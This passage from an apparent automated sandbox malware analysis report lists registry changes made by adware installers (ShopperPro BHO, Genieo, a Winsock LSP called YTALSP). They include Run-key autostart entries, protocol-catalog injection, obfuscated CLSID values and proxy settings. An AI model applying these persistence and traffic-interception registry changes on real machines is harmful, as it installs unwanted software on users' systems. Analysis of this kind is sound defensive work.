"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process lspinst.exe:3636 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LOUkyRYt|UiWkfEh`JkAgsYbDSCk["

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 60 A4 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "JPKbWtlh|ac`_w}Yu`fbISI`@Ntl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"
"{K7C0DB872A3F777C0}" = "73 4F 94 C5 5B 17 1F 41 54 D6 E0 64 22 18 AF B6"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtaARLXE@tLli@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoQFS^vVyG[lrZ"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZcn"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:3780 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 60 A4 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1022"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 33"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "JPKbWtlh|acP_w}Yu`fRISI`@Ntl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 33"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "19"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "5F 97 D4 9F 5B 17 1F 41 54 D6 E0 64 22 18 AF B6"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtaARLXE@tLli@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZcn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LOUkyRYt|UiWkfEh`JkAgsYbDSCk["

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoVvS^vVyxhyy@"

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001B]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001C]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001A]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

The process framework_setup.gen:3832 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Genieo\Components\Framework\Personalization Framework]
"Path" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine"

[HKCU\Software\Genieo\Components\Framework\Personalization Framework\Components]
"Main" = "1"

The Application deletes the following value(s) in system registry:
The Application disables automatic startup of the application by deleting the following autorun value:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GenieoPlatform"

The process InstallGenieo.exe:2936 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Genieo\Components\Updater\Genieo]
"Path" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater"

[HKCU\Software\Genieo\Components\Updater\Genieo\ComponentsInstallTime]
"trayapp_dl" = "60"

"ieplugins_inst" = "10"

[HKCU\Software\Genieo]
"DataDir" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data"

[HKCU\Software\Genieo\Components\Updater\Genieo\ComponentsInstallTime]
"framework_dl" = "300"
"jre_dl_and_install" = "600"
"framework_inst" = "1500"

[HKCU\Software\Genieo]
"set_homepage" = "0"

[HKCU\Software\Genieo\Components\Updater\Genieo]
"PrepEnv" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\prepenv_setup.exe"

[HKCU\Software\Genieo\Components\Updater\Genieo\ComponentsInstallTime]
"firefox_ext_inst" = "10"
"trayapp_inst" = "10"

[HKCU\Software\Genieo\Components\Updater\Genieo]
"firstTime" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\firsttime_setup.exe"

[HKCU\Software\Genieo]
"set_searchProvider" = "0"

[HKCU\Software\Genieo\Components\Updater\Genieo\ComponentsInstallTime]
"firefox_ext_dl" = "60"

[HKCU\Software\Genieo]
"InstallDir" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application"

[HKCU\Software\Genieo\Components\Updater\Genieo]
"Log" = "1"

[HKCU\Software\Genieo\Components\Updater\Genieo\Components]
"Main" = "1"

[HKCU\Software\Genieo\Components\Updater\Genieo\ComponentsInstallTime]
"ieplugins_dl" = "60"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GenieoUpdaterService" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\genupdater.exe -wait 5"

"GenieoSystemTray" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\TrayUi\bin\gentray.exe"

The process InstallGenieo.exe:3200 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Genieo]
"updater_status" = "/status?day=0&partner=gim394750002"

[HKCU\Software\Genieo\Components\Updater\Genieo\Components]
"LastUpdateTime" = "2015 05 16 02 03"

[HKCU\Software\Genieo\Components\Partner]
"Main" = "1"

[HKCU\Software\Genieo]
"DisableUI" = "43"

The process DCytaiesmt_smtyc_setup.exe:3916 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "81 5C AE 3F 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 50 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "5E 2F C1 41 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:3944 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "81 5C AE 3F 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 51 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "A0 77 CF 41 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:2348 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "06 5E E6 32 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4C 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "3A E7 C5 35 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:3256 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "A0 77 CF 41 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 53 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "46 39 33 44 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:3208 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

